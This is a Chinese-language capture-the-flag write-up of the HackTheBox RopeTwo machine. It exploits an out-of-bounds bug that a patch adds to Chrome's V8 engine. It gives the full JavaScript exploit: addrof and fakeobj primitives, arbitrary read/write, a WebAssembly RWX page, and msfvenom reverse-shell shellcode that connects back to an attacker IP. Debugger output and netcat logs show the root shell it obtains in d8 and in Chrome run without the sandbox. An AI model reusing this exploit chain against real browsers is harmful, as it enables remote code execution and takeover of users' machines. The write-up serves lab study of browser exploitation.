HackTheBox-RopeTwo-[PWN-Chrome-V8引擎]

摘要

V8是由Google开发的著名浏览器Chrome的JavaScript引擎。

此篇文章专门记录hack the box - ropetwo机器中的chrome浏览器v8引擎的pwn部分。

step1-环境搭建及工具安装

在开始实验之前,先把所有环境准备好,本人实验环境是在ubuntu 16.04.1 amd64位的vm虚拟机下进行的。

  1. 安装google的depot_tools
1
2
3
4
5
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

echo "export PATH=/home/pwn/tools/depot_tools:$PATH" >> ~/.bashrc

bash
  1. 安装gdb和gdb功能增强插件gef
1
apt-get install gdb
  • GEF github
1
2
3
# 手动安装并导入gdb初始化文件
$ wget -O ~/.gdbinit-gef.py -q http://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
  1. fetch google v8引擎

fetch之前,请想办法解决让整个ubuntu系统的流量全部走代理,不然会fetch失败

  • fetch之前先运行以下的命令,初始化gclient工具集,使gclient工具集保持完整,没有这一步,之后的fetch v8一定会失败报错。。。
1
gclient

接着下载V8的代码以及生成项目文件。fetch v8刚开始的时候会有很长一段时间卡住不动,只是没有输出而已,只要没有报错,就是在正常运行,耐心等待就好了。

1
2
3
4
# 下载v8的repo和必要依赖
fetch v8
cd v8
./build/install-build-deps.sh

至此所有环境已搭建完毕,之后会介绍编译v8源码成d8的debug和release的版本便于调试, x64.release和x64.debug这两个文件夹中都有一个数据库二进制文件。debug版本将在REPL中提供更多信息,但它不允许在不崩溃(支持fuzzing)的情况下进行越限的读/写,所以在开始时使用release版本。

step2

连接openvpn到rope2的ip地址,然后下载如下commit的diff文件

1
http://10.10.10.196:5000/root/v8/commit/7410f6809dd33e317f11f39ceaebaba9a88ea970

点击Options的Plain Diff即可下载.diff文件

然后到如下链接,点击Download下载具有漏洞的chrome浏览器

1
http://10.10.10.196:8000/

然后拷贝r4j之前的一个commit备用

1
http://gitlab.rope2.htb:5000/root/v8/commits/master
1
d91e8d8fca64679c8df05603b5ff7e58709c4801

step3-编译有漏洞的v8源码

1
2
3
4
5
6
7
$ git checkout d91e8d8fca64679c8df05603b5ff7e58709c4801
$ gclient sync
$ git apply ../patch.diff
$ ./tools/dev/v8gen.py x64.release
$ ninja -C ./out.gn/x64.release
$ ./tools/dev/v8gen.py x64.debug
$ ninja -C ./out.gn/x64.debug

step4-开始分析调试

唯一的障碍会偶然发现在这个挑战是指针压缩,这使得在32位地址表示,导致泄漏很难取得成功, 因为隔离root, 上一个地址的32位值用于访问数据在V8堆成了一个问题。但是提到了不需要知道隔离root地址,如果能够设法处理漏洞,得到fakeobj和addrof原语,那么就可以通过指针压缩,这将不会是一个问题。

首先,需要分析补丁文件,这样就能发现哪些提交了特别的推送更改,并将其准确地推送到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
root@luci:~/v8build/rope2# cat patch.diff 
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 3c2fe33c5b4b330c509d2926bc1e30daa1e09dba..99f0271e035220cd7228e8f9d8959e3b248a6cb5 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -297,6 +297,34 @@ BUILTIN(ArrayPrototypeFill) {
return GenericArrayFill(isolate, receiver, value, start_index, end_index);
}

+BUILTIN(ArrayGetLastElement)
+{
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ uint32_t len = static_cast<uint32_t>(array->length().Number());
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ return *(isolate->factory()->NewNumber(elements.get_scalar(len)));
+}
+
+BUILTIN(ArraySetLastElement)
+{
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ int arg_count = args.length();
+ if (arg_count != 2) // first value is always this
+ {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ uint32_t len = static_cast<uint32_t>(array->length().Number());
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, args.atOrUndefined(isolate,1)));
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ elements.set(len,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+}
+
namespace {
V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
BuiltinArguments* args) {
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 92a430aa2c0cbc3d65fdf2f1f4f295824379dbd8..02982b1c858eb313befcb8ad9e396dcdfbf2f9ab 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -319,6 +319,8 @@ namespace internal {
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush) \
+ CPP(ArrayGetLastElement) \
+ CPP(ArraySetLastElement) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift) \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 6d53531f1cbf9b6669c6b98ea8779e8133babe8d..5db31e9b733cdaa1dd2049b72b7fb6392ea4a1ab 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1706,6 +1706,11 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
// Array functions.
case Builtins::kArrayIsArray:
return Type::Boolean();
+ case Builtins::kArrayGetLastElement:
+ return Type::Receiver();
+ case Builtins::kArraySetLastElement:
+ return Type::Receiver();
+
case Builtins::kArrayConcat:
return Type::Receiver();
case Builtins::kArrayEvery:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 7fd1e40f661461fdbcf9228c5ce9127c3428dc7b..3a9b97e4b6426e101ca0cdc97ce1cc92aa689968 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1660,6 +1660,10 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeLastIndexOf, 1, false);
SimpleInstallFunction(isolate_, proto, "pop", Builtins::kArrayPrototypePop,
0, false);
+ SimpleInstallFunction(isolate_, proto, "GetLastElement", Builtins::kArrayGetLastElement,
+ 0, false);
+ SimpleInstallFunction(isolate_, proto, "SetLastElement", Builtins::kArraySetLastElement,
+ 0, false);
SimpleInstallFunction(isolate_, proto, "push",
Builtins::kArrayPrototypePush, 1, false);
SimpleInstallFunction(isolate_, proto, "reverse",

这里的/src/builtins/builtins-array.c用来表示添加了一些新函数,这里提到了以下两个添加的函数是ArrayGetLastElement和ArraySetLastElement,逐个分解它们:

  • ArrayGetLastElement顾名思义,它从数组中最后一个元素,首先计算长度的变量len返回元素存储为len指数,现在i = f注意这里,这里的len是绝对长度的数组,因为数组索引从0开始,要访问第0个元素,使用数组[0],但在这里,因为元素存储在数组中,在len索引处的值因此允许对1个元素进行越界读取。

  • ArraySetLastElement正如名字所说,这个内置函数保存价值的最后索引数组,现在这里,前面的函数,len是计算数组的长度,然后将覆盖指数,定义的元素数组元素(指数)=。是的,在这里也有越界的写,但是只写了一个元素。

所以,如上所述,知道有两个函数,使用,以利用这个特定的二进制补丁,并最终chrome浏览器。

因为这也是一篇非常详细的博客文章,所以将先理解这些概念,然后再继续讨论。

由于JavaScript是一种动态类型语言,引擎必须将类型信息与每个运行时值一起存储。在v8中,这是通过指针标记和专用类型信息对象(称为映射)的结合来实现的。这些映射用于跟踪在运行时创建的对象,因为这是对象的处理方式,覆盖映射会导致V8引擎内部的一些类型混淆。

到目前为止,你可能在想究竟如何访问map,最重要的是“如何识别map?”,为此使用了调试版本的d8二进制文件。与allow-natives-syntax将二进制运行时允许您使用

1
%DebugPrint(<object>)

将打印对象的相关信息,比方说,例如,声明的数组元素,然后使用%DebugPrint (arr)获得所有关于一个对象的信息包括但不限于:

  • map的地址
  • 元素的指针
  • 类型信息等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
root@luci:~/v8build/v8/out.gn/x64.debug# gdb ./d8
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from ./d8...done.
gef➤ r --allow-natives-syntax
Starting program: /root/v8build/v8/out.gn/x64.debug/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff260f700 (LWP 6077)]
[New Thread 0x7ffff1e0e700 (LWP 6078)]
[New Thread 0x7ffff160d700 (LWP 6079)]
V8 version 8.5.0 (candidate)
d8> var arr = [1.1, 2.2, 3.3];
undefined
d8> %DebugPrint(arr)
DebugPrint: 0x1201080c5e45: [JSArray]
- map: 0x120108281909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x12010824923d <JSArray[0]>
- elements: 0x1201080c5e25 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x1201080406e9 <FixedArray[0]> {
#length: 0x1201081c0165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1201080c5e25 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x120108281909: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1201082818e1 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x1201081c0451 <Cell value= 1>
- instance descriptors #1: 0x120108249911 <DescriptorArray[1]>
- transitions #1: 0x12010824995d <TransitionArray[4]>Transition array #1:
0x120108042f3d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x120108281931 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x12010824923d <JSArray[0]>
- constructor: 0x120108249111 <JSFunction Array (sfi = 0x1201081cc41d)>
- dependent code: 0x1201080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

[1.1, 2.2, 3.3]

分解,现在有arr位于0x1201080c5e45 JSArray类型的,它的map位于0x120108281909,除此之外,根据这些信息,它有一个map的PACKED_DOUBLE_ELEMENTS arr引用有两类型的元素。元素指针位于0x1201080c5e25,长度为3,类型为FixedDoubleArray。现在,使用gdb检查arr周围的内存内容。

  • 为了检查地址的内存内容,需要从地址中减去1,这样就得到了用于分析的绝对地址。
1
2
gef➤  x/4wx 0x1201080c5e45 - 1
0x1201080c5e44: 0x08281909 <----- Map 0x080406e9 <---- Properties 0x080c5e25 <----- Element Array 0x00000006

从调试信息(使用%DebugPrint(arr))和gdb输出中,可以看到第一个元素属于数组本身的映射,第二个属于属性,第三个属于元素数组。如果你注意,使用了x/wx地址显示为32位表示,这里是,提交的版本的V8引擎集成后指针压缩,使1是地址的32位整数。

1
2
3
4
5
6
7
8
9
10
gef➤  x/5xg 0x1201080c5e25 - 1
0x1201080c5e24: 0x0000000608040a3d 0x3ff199999999999a
0x1201080c5e34: 0x400199999999999a 0x400a666666666666
0x1201080c5e44: 0x080406e908281909
gef➤ p/d 0x3ff199999999999a
$2 = 4607632778762754458
gef➤ p/f 0x3ff199999999999a
$3 = 1.1000000000000001
gef➤ p/f 0x400199999999999a
$4 = 2.2000000000000002

现在,因为知道了一个数组是如何表示到V8堆中的,也知道有一个读写漏洞,得出结论,有能力覆盖对象的映射。记住这一点,继续:

首先,需要使实用函数能够处理指针标记并将浮点值更改为小数,反之亦然。下面的JavaScript函数将完成上述工作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val, size) {

f64_buf[0] = val;

if(size == 32) {
return BigInt(u64_buf[0]);
} else if(size == 64) {
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

}

function itof(val, size) {

if(size == 32) {
u64_buf[0] = Number(val & 0xffffffffn);
} else if(size == 64) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
}

return f64_buf[0];

}

上述函数用于将浮点数转换为整数,将整数转换为浮点数,因为内存地址将被它们所尊重的值覆盖为浮点数,所以需要它们。

继续,需要创建一些浮点数组,为了获得所需的泄漏,还需要它们来执行fakeobj和addrof原语,废话不多说,开始:

1
2
3
var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5];
var obj = {"A":1.1};
var reg = [1, 2, 3, 4];

这些变量将进一步涉及到利用,接下来,需要得到addrof原语,这意味着需要利用off来读取对象的地址,看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var float_arr_map = ftoi(float_arr.GetLastElement(), 32)
var reg_arr_map = float_arr_map - 0xa0n;

console.log("[*] Float array map : 0x" + float_arr_map.toString(16));
console.log("[*] Regular array map : 0x" + reg_arr_map.toString(16));


function addrof(in_obj) {
float_arr.SetLastElement(itof(reg_arr_map, 32));
float_arr[0] = in_obj;
float_arr.SetLastElement(itof(float_arr_map, 32));
let addr = float_arr[0];
return ftoi(addr, 64)
}

这里,首先得到float_arr的map地址和reg数组,然后有一个函数叫做addrof,这需要一个对象将对象地址需要的地址作为参数,要做的是首先用reg数组覆盖float_arr映射的map对象,这意味着,到目前为止,float_arr指向的地址映射reg数组,然后使float_arr的对象需要的地址作为第一个对象,然后将float_arr的映射放回到它原来的位置。

考虑到,有一个map泄漏,如果试图读取存储在该地址的内容,它将导致:

随着v8 利用的进行,需要一个fakeobj原语。fakeobj函数如下:

1
2
3
4
5
6
7
function fakeobj(addr) {
float_arr[0] = itof(addr, 32);
float_arr.SetLastElement(itof(reg_arr_map, 32));
let fake = float_arr[0];
float_arr.SetLastElement(itof(float_arr_map, 32));
return fake;
}

来谈谈fakeobj函数,这种原始的,在这个漏洞和特定的上下文中,把假的对象的地址,想把它放置到float_arr的第一个元素,然后改变了float_arr map到reg数组的map,所以往往从第0个索引来访问数据,其工作原理是:

  • 把想要覆盖另一个对象的对象地址覆盖

  • 将float_arr的映射设置为reg的映射

  • 从float_arr中获取假对象

  • 把float_arr的map放回原来的位置

这些原语是在进入读/写原语之前需要的,不过有了这些原语,现在可以处理函数arb_read和arb_write,这两个函数分别用于从一个地址的值中读地址或从一个地址的值中写地址。

继续,对任意读函数感兴趣,将尽力解释,目前,考虑下面的函数,它用于从任意地址读取值:

1
2
3
4
5
6
7
8
9
10
var rw_helper = [itof(float_arr_map, 64), 1.1, 2.2, 3.3];
var rw_helper_addr = addrof(rw_helper) & 0xffffffffn;

console.log("[+] Controlled RW helper address: 0x" + rw_helper_addr.toString(16));

function arb_read(addr) {
let fake = fakeobj(rw_helper_addr - 0x20n);
rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
return ftoi(fake[0], 64);
}

第一这个函数是通过fakeobj函数制造一个假的对象,然后把想读的地址,写rw_helper数组的第一个指数,然后第一个元素假的对象是错误的,这是函数的跟进,导致整个逻辑的理解,d8二进制解释步骤:

使用rw_helper的地址创建fakeobj,从中减去0x20,因为32个字节是用于内存布局的,在本例中,这样做是因为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
root@luci:~/v8build/v8/out.gn/x64.release# gdb ./d8
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from ./d8...(no debugging symbols found)...done.
gef➤ run --allow-natives-syntax --shell /root/v8build/rope2/xpl.js
Starting program: /root/v8build/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell /root/v8build/rope2/xpl.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff66c4700 (LWP 9528)]
[New Thread 0x7ffff5ec3700 (LWP 9529)]
[New Thread 0x7ffff56c2700 (LWP 9530)]
[*] Float array map : 0x8241909
[*] Regular array map : 0x8241869
[+] Controlled RW helper address: 0x8086b21
V8 version 8.5.0 (candidate)
d8> %DebugPrint(rw_helper);
0x06a908086b21 <JSArray[4]>
[6.7481182e-316, 1.1, 2.2, 3.3]
d8> ^C
gef➤ x/10xg 0x06a908086b21 - 1 - 0x30
0x6a908086af0: 0x0000393638313432 0x0000000808040a3d
0x6a908086b00: 0x0000000008241909 0x3ff199999999999a
0x6a908086b10: 0x400199999999999a 0x400a666666666666
0x6a908086b20: 0x080406e908241909 0x0000000808086af9
0x6a908086b30: 0x0000000208040975 0x0000000008241909
gef➤ x/10xg 0x06a908086b21 - 1 - 0x20
0x6a908086b00: 0x0000000008241909 0x3ff199999999999a
0x6a908086b10: 0x400199999999999a 0x400a666666666666
0x6a908086b20: 0x080406e908241909 0x0000000808086af9
0x6a908086b30: 0x0000000208040975 0x0000000008241909
0x6a908086b40: 0x0000000008040975 0x0000000008040245
gef➤ p 0x06a908086b21 - 0x20
$2 = 0x6a908086b01
gef➤ p 0x06a908086b21 - 0x20 - 1
$3 = 0x6a908086b00

如果在地址‘0x6a908086b00’处放置一个假对象,就能够访问索引1,也就是‘0x6a908086b10’。这样,生成的假对象将指向想要的地址的值。

对于write函数,它的工作原理与read函数相同:

1
2
3
4
5
function arb_write(addr, value) {
let fake = fakeobj(rw_helper_addr - 0x20n);
rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
fake[0] = itof(value, 64);
}

如果把逻辑分解:

  • 如果与arb_read的函数相比,它将覆盖存储在第一个下标处的值,而不是返回假数组的第一个值,这是伪造对象的结果。
1
return ftoi(fake[0], 64);

以上来自arb_read。

1
fake[0] = itof(value, 64);

这是通过覆盖其它返回值读取函数,从这里利用下去,所说的在WebAssembly Page in JS,所以一开始,不能用经典的使用pwn挑战的方法使用system __free_hook覆盖,然后生成一个shell,在基于v8的挑战, 主要是CTFs,这是通过创建一个wasm函数来完成的,它将导致在程序的内存布局中创建一个rwx权限页,从这里的方法如下:

  • 找到rwx段地址,计算它的地址。
  • 将shellcode写入rwx段的区域。
  • 调用前面创建的wasm函数,因为shellcode将写入该函数,调用它最终将导致shellcode执行。
1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_module = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

这是用于创建rwx部分的pwn函数的JS代码,这一步先放在一边,继续:

1
2
var wasm_instance_addr = addrof(wasm_instance) & 0xffffffffn;
var rwx = arb_read(wasm_instance_addr + 0x68n & 0xffffffffn);

首先,需要找到rwx段的基地址,这是很容易找到的,要做的是找到的地址正是位于存储到内存和抵消,使用gef的

1
search-pattern rwx_address

发现内存的引用位于抵消wasm_instance_addr + 0x68:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
gef➤  vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x000015fc5408a000 0x000015fc5408b000 0x0000000000000000 rwx
0x0000190900000000 0x000019090000c000 0x0000000000000000 rw-
0x000019090000c000 0x0000190900040000 0x0000000000000000 ---
0x0000190900040000 0x0000190900041000 0x0000000000000000 rw-
0x0000190900041000 0x0000190900042000 0x0000000000000000 ---
0x0000190900042000 0x0000190900052000 0x0000000000000000 r-x
0x0000190900052000 0x000019090007f000 0x0000000000000000 ---

[..snip..]

gef➤ search-pattern 0x000015fc5408a000
[+] Searching '\x00\xa0\x08\x54\xfc\x15\x00\x00' in memory
[+] In (0x190908080000-0x19090818d000), permission=rw-
0x1909080874e0 - 0x190908087500 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
0x19090808752c - 0x19090808754c → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
[+] In (0x190908200000-0x190908280000), permission=rw-
0x190908211178 - 0x190908211198 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
[+] In '[heap]'(0x55555648d000-0x55555658b000), permission=rw-
0x5555564dddc8 - 0x5555564ddde8 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
0x5555564de2c8 - 0x5555564de2e8 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
0x5555564de3a0 - 0x5555564de3c0 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
0x5555564de4c0 - 0x5555564de4e0 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
0x5555564de510 - 0x5555564de530 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
0x5555565775e0 - 0x555556577600 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
[+] In (0x7fffe8000000-0x7fffe8023000), permission=rw-
0x7fffe8000970 - 0x7fffe8000990 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
[+] In (0x7ffff0000000-0x7ffff0023000), permission=rw-
0x7ffff0006d90 - 0x7ffff0006db0 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
[+] In (0x7ffff56c4000-0x7ffff5ec4000), permission=rw-
0x7ffff5ec2820 - 0x7ffff5ec2840 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
[+] In (0x7ffff5ec5000-0x7ffff70c9000), permission=rw-
0x7ffff66c3820 - 0x7ffff66c3840 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
0x7ffff66c38a0 - 0x7ffff66c38c0 → "\x00\xa0\x08\x54\xfc\x15\x00\x00[...]"
gef➤ p 0x0000190900000000 + 0x82111c9
$2 = 0x1909082111c9
gef➤ p 0x190908211178 - 0x1909082111c9
$3 = 0xffffffffffffffaf

解决上面的问题,需要知道如何使用DataView和ArrayBuffer,因为这将帮助用所需的值覆盖地址,简而言之,这两个函数允许使用ArrayBuffer以二进制格式写入数据。

1
2
3
4
5
6
7
console.log("[+] Wasm instance address: 0x" + wasm_instance_addr.toString(16));

console.log("[*] RWX INSTANCE: 0x" + rwx.toString(16));


var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);

ArrayBuffer的后备存储可以看作是JSArray的元素指针。它可以在offset &ArrayBuffer+0x14找到,可以通过使用d8二进制文件的x64.debug版本找到它。其原理是,不使用fakeobj直接写入任意地址,而是使用fakeobj执行arb-write操作,并修改合法ArrayBuffer的后备存储到任意地址,在本例中,该后备存储将被rwx段覆盖。现在,可以使用dataview.setBigUint64(0, val, true)将val作为64位小端值写入任意地址。如下所示:

  • 使用msfvenom生成shellcode并放入以下的js代码中
1
2
3
4
5
6
7
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.177.128 LPORT=4222 -f num

0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48,
0xb9, 0x02, 0x00, 0x10, 0x7e, 0xc0, 0xa8, 0xb1, 0x80, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10,
0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58,
0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var arr_buf_addr = addrof(arr_buf) & 0xffffffffn;;
var back_store_addr = arb_read(arr_buf_addr + 0x14n);

console.log("[+] ArrayBuffer address: 0x" + arr_buf_addr.toString(16));
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));

arb_write(arr_buf_addr + 0x14n, rwx);

var shellcode = [
0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48,
0xb9, 0x02, 0x00, 0x10, 0x7e, 0xc0, 0xa8, 0xb1, 0x80, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10,
0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58,
0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
]; // shellcode for spawning a reverse shell for local test

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint8(i, shellcode[i], true);
}

现在,只需要调用函数pwn就可以执行shellcode了:

1
pwn();

以./d8 ./xpl.js的命令运行该漏洞js脚本,将能成功收到一个reverse shell:

1
2
3
4
5
6
7
8
9
root@luci:~/v8build/v8/out.gn/x64.release# ./d8 /root/v8build/rope2/xpl.js 
[*] Float array map : 0x8241909
[*] Regular array map : 0x8241869
[+] Controlled RW helper address: 0x808733d
[+] Wasm instance address: 0x8211631
[*] RWX INSTANCE: 0x13211e50c000
[+] ArrayBuffer address: 0x8087a85
[+] Back store pointer: 0x55b70a9d4730
[+] Spawning a shell...
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/test]
└─# nc -lvp 4222
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4222
Ncat: Listening on 0.0.0.0:4222
Ncat: Connection from 192.168.177.151.
Ncat: Connection from 192.168.177.151:47072.
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname -a
Linux luci 4.15.0-132-generic #136~16.04.1-Ubuntu SMP Tue Jan 12 18:22:20 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

在d8上有效,必须试试之前从端口8000下载的chrome二进制文件,运行攻击测试,制作一个HTML文件包含xpl.js文件,这里的想法是使用–no-sandbox最终意味着没有沙箱逃逸是和系统上执行的所有JIT代码HTML文件本身:

1
2
3
4
5
<html>
<head>
<script src="xpl.js"></script>
</head>
</html>

运行给定的chrome二进制文件:./chrome/chrome –no-sandbox ./xpl.html会反弹一个reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/test]
└─# nc -lvp 4222
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4222
Ncat: Listening on 0.0.0.0:4222
Ncat: Connection from 192.168.177.151.
Ncat: Connection from 192.168.177.151:54750.
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
uname -a
Linux luci 4.15.0-132-generic #136~16.04.1-Ubuntu SMP Tue Jan 12 18:22:20 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

漏洞利用成功

现在,先把这个放在一边,首先重新更改ip地址然后生成shellcode,使用这个漏洞来获得reverse shell,最终的漏洞利用js脚本看起来像这样:

1
2
3
4
5
6
7
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4222 -f num

